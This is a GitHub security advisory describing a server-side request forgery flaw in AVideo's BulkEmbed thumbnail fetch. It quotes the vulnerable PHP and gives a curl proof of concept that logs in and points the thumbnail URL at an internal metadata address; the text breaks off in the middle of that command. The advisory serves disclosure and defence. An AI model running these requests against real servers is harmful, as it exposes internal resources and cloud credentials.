GitHub Security Advisory: GHSA-66cw-h2mj-j39p
Package: wwbn/avideo (COMPOSER)
Severity: MODERATE (CVSS 5.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 25.0
Patched in: unpatched

Summary: AVideo Affected by SSRF in BulkEmbed Thumbnail Fetch Allows Reading Internal Network Resources

Details:
## Summary

The BulkEmbed plugin's save endpoint (`plugin/BulkEmbed/save.json.php`) fetches user-supplied thumbnail URLs via `url_get_contents()` without SSRF protection. Unlike all six other URL-fetching endpoints in AVideo that were hardened with `isSSRFSafeURL()`, this code path was missed. An authenticated attacker can force the server to make HTTP requests to internal network resources and retrieve the responses by viewing the saved video thumbnail.

## Details

When saving bulk-embedded videos, user-supplied thumbnail URLs from `$_POST['itemsToSave'][x]['thumbs']` flow directly into `url_get_contents()` with no SSRF validation:

**`plugin/BulkEmbed/save.json.php:68-105`**
```php
foreach ($_POST['itemsToSave'] as $value) {
    foreach ($value as $key => $value2) {
        $value[$key] = xss_esc($value2);  // HTML entity encoding — irrelevant for SSRF
    }
    // ...
    $poster = Video::getPathToFile("{$paths['filename']}.jpg");
    $thumbs = $value['thumbs'];              // ← attacker-controlled URL
    if (!empty($thumbs)) {
        $contentThumbs = url_get_contents($thumbs);  // ← fetched without SSRF check
        if (!empty($contentThumbs)) {
            make_path($poster);
            $bytes = file_put_contents($poster, $contentThumbs);  // ← response saved to disk
        }
    }
    // ...
    $videos->setStatus('a');  // ← video set to active, thumbnail publicly accessible
```

The `url_get_contents()` function internally calls `isValidURLOrPath()` which only validates URL format (scheme, host presence) — it does **not** block requests to private IPs, localhost, or cloud metadata endpoints.

**All other URL-fetching endpoints are protected.** The `isSSRFSafeURL()` function is called in:
- `plugin/Scheduler/Scheduler.php`
- `plugin/LiveLinks/proxy.php` (two call sites)
- `plugin/AI/receiveAsync.json.php`
- `objects/aVideoEncoder.json.php`
- `objects/aVideoEncoderReceiveImage.json.php`

BulkEmbed is the only URL-fetching endpoint that was not hardened.

**This is a full-read SSRF**, not blind — the HTTP response body is written to disk as the video thumbnail and served to the attacker when they view the video poster image.

## PoC

**Prerequisites:** Authenticated session with BulkEmbed permission. The `onlyAdminCanBulkEmbed` option defaults to `true` (line 41 of `BulkEmbed.php`), but is commonly disabled for multi-user platforms.

**Step 1: Authenticate and obtain session cookie**

```bash
COOKIE=$(curl -s -c - "http://avideo.local/user" \
  -d "user=testuser&pass=testpass&redirectUri=/" | grep PHPSESSID | awk '{print $NF}')
```

**Step 2: Send BulkEmbed save request with internal URL as thumbnail**

```bash
curl -s -b "PHPSESSID=$COOKIE" \
  "http://avideo.local/plugin/BulkEmbed/save.json.php" \
  -d "itemsToSave[0][title]=SSRF+Test" \
  -d "itemsToSave[0][description]=test" \
  -d "itemsToSave[0][duration]=PT1M" \
  -d "itemsToSave[0][link]=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \
  -d "itemsToSave[0][thumbs]=http://169.254